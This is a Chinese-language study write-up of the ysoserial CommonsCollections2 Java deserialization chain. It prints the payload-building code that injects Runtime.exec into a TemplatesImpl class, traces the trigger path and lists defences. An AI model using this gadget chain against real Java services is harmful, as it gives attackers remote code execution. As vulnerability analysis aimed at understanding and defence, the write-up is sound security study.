java反序列化学习-ysoserial-CommonsCollections2
字数 1461 2025-08-10 20:35:54

Java反序列化漏洞分析:CommonsCollections2利用链详解

一、漏洞概述

CommonsCollections2是ysoserial工具中针对Apache Commons Collections 4.0版本的一个反序列化利用链。它利用了PriorityQueue、TransformingComparator和InvokerTransformer的组合,通过精心构造的序列化数据,在反序列化过程中实现远程代码执行(RCE)。

二、依赖环境

@Dependencies({ "org.apache.commons:commons-collections4:4.0" })

三、核心利用链分析

1. 整体流程

  1. 创建恶意TemplatesImpl对象
  2. 构造InvokerTransformer实例
  3. 创建PriorityQueue并使用TransformingComparator作为比较器
  4. 通过反射修改关键字段
  5. 序列化PriorityQueue对象
  6. 反序列化时触发RCE

2. 关键代码分析

2.1 getObject方法

public Queue<Object> getObject(final String command) throws Exception {
    // 1. 创建包含恶意代码的TemplatesImpl对象
    final Object templates = Gadgets.createTemplatesImpl(command);
    
    // 2. 创建InvokerTransformer实例,初始设置为调用toString方法
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
    
    // 3. 创建PriorityQueue并使用TransformingComparator作为比较器
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
    
    // 4. 添加两个元素触发比较器初始化
    queue.add(1);
    queue.add(1);
    
    // 5. 通过反射将InvokerTransformer的方法名改为"newTransformer"
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
    
    // 6. 获取队列内部数组并替换第一个元素为恶意TemplatesImpl对象
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;
    
    return queue;
}

2.2 createTemplatesImpl方法分析

Gadgets.createTemplatesImpl()方法负责创建包含恶意代码的TemplatesImpl对象:

public static <T> T createTemplatesImpl(final String command, Class<T> tplClass, 
    Class<?> abstTranslet, Class<?> transFactory) throws Exception {
    
    // 创建TemplatesImpl实例
    final T templates = tplClass.newInstance();
    
    // 使用Javassist创建类池
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    
    // 获取StubTransletPayload类
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    
    // 构造恶意代码字符串
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\"", "\\\"") + "\");";
    
    // 在类初始化器中插入恶意代码
    clazz.makeClassInitializer().insertAfter(cmd);
    
    // 设置类名和父类
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    CtClass superC = pool.get(abstTranslet.getName());
    clazz.setSuperclass(superC);
    
    // 生成字节码
    final byte[] classBytes = clazz.toBytecode();
    
    // 设置TemplatesImpl的关键字段
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    
    return templates;
}

生成的恶意类示例:

package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;

public class Pwner262950924766100 extends AbstractTranslet implements Serializable {
    private static final long serialVersionUID = -5971610431559700674L;
    
    public Pwner262950924766100() {}
    
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    
    static {
        Object var1 = null;
        Runtime.getRuntime().exec("calc");
    }
}

四、反序列化触发过程

1. 反序列化调用链

  1. PriorityQueue.readObject() - 反序列化入口
  2. PriorityQueue.heapify()
  3. PriorityQueue.siftDown()
  4. PriorityQueue.siftDownUsingComparator()
  5. TransformingComparator.compare()
  6. InvokerTransformer.transform()
  7. TemplatesImpl.newTransformer()
  8. TemplatesImpl.getTransletInstance()
  9. TemplatesImpl.defineTransletClasses()
  10. 恶意类静态代码块执行

2. 关键步骤详解

2.1 PriorityQueue.readObject()

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // 读取默认字段
    s.defaultReadObject();
    
    // 读取数组长度并分配队列数组
    s.readInt();
    
    // 重建堆结构
    heapify();
}

2.2 heapify() -> siftDown() -> siftDownUsingComparator()

最终调用比较器的compare方法:

private void siftDownUsingComparator(int k, E x) {
    // 使用比较器比较元素
    if (comparator.compare(x, (E) c) > 0) {
        // ...
    }
}

2.3 TransformingComparator.compare()

public int compare(I obj1, I obj2) {
    // 使用transformer转换后比较
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

2.4 InvokerTransformer.transform()

public O transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        // 通过反射调用指定方法
        Class<?> cls = input.getClass();
        Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
        return (O) method.invoke(input, this.iArgs);
    } catch (Exception ex) {
        // ...
    }
}

2.5 TemplatesImpl.newTransformer()

public synchronized Transformer newTransformer() throws TransformerConfigurationException {
    TransformerImpl transformer;
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
    // ...
    return transformer;
}

2.6 getTransletInstance() -> defineTransletClasses()

最终加载并实例化恶意类,触发静态代码块中的恶意代码执行。

五、防御措施

  1. 升级Apache Commons Collections到最新安全版本
  2. 使用Java反序列化过滤器(ObjectInputFilter)
  3. 避免反序列化不可信数据
  4. 使用白名单机制限制可反序列化的类

六、总结

CommonsCollections2利用链通过以下关键点实现RCE:

  1. 使用Javassist动态生成包含恶意代码的类
  2. 通过TemplatesImpl加载并执行恶意字节码
  3. 利用PriorityQueue在反序列化时自动排序的特性触发比较器
  4. 通过TransformingComparator和InvokerTransformer的链式调用最终执行newTransformer方法
  5. 整个过程完全依赖Java反序列化机制,无需任何额外交互
Java反序列化漏洞分析:CommonsCollections2利用链详解 一、漏洞概述 CommonsCollections2是ysoserial工具中针对Apache Commons Collections 4.0版本的一个反序列化利用链。它利用了PriorityQueue、TransformingComparator和InvokerTransformer的组合,通过精心构造的序列化数据,在反序列化过程中实现远程代码执行(RCE)。 二、依赖环境 三、核心利用链分析 1. 整体流程 创建恶意TemplatesImpl对象 构造InvokerTransformer实例 创建PriorityQueue并使用TransformingComparator作为比较器 通过反射修改关键字段 序列化PriorityQueue对象 反序列化时触发RCE 2. 关键代码分析 2.1 getObject方法 2.2 createTemplatesImpl方法分析 Gadgets.createTemplatesImpl() 方法负责创建包含恶意代码的TemplatesImpl对象: 生成的恶意类示例: 四、反序列化触发过程 1. 反序列化调用链 PriorityQueue.readObject() - 反序列化入口 PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() 恶意类静态代码块执行 2. 关键步骤详解 2.1 PriorityQueue.readObject() 2.2 heapify() -> siftDown() -> siftDownUsingComparator() 最终调用比较器的compare方法: 2.3 TransformingComparator.compare() 2.4 InvokerTransformer.transform() 2.5 TemplatesImpl.newTransformer() 2.6 getTransletInstance() -> defineTransletClasses() 最终加载并实例化恶意类,触发静态代码块中的恶意代码执行。 五、防御措施 升级Apache Commons Collections到最新安全版本 使用Java反序列化过滤器(ObjectInputFilter) 避免反序列化不可信数据 使用白名单机制限制可反序列化的类 六、总结 CommonsCollections2利用链通过以下关键点实现RCE: 使用Javassist动态生成包含恶意代码的类 通过TemplatesImpl加载并执行恶意字节码 利用PriorityQueue在反序列化时自动排序的特性触发比较器 通过TransformingComparator和InvokerTransformer的链式调用最终执行newTransformer方法 整个过程完全依赖Java反序列化机制,无需任何额外交互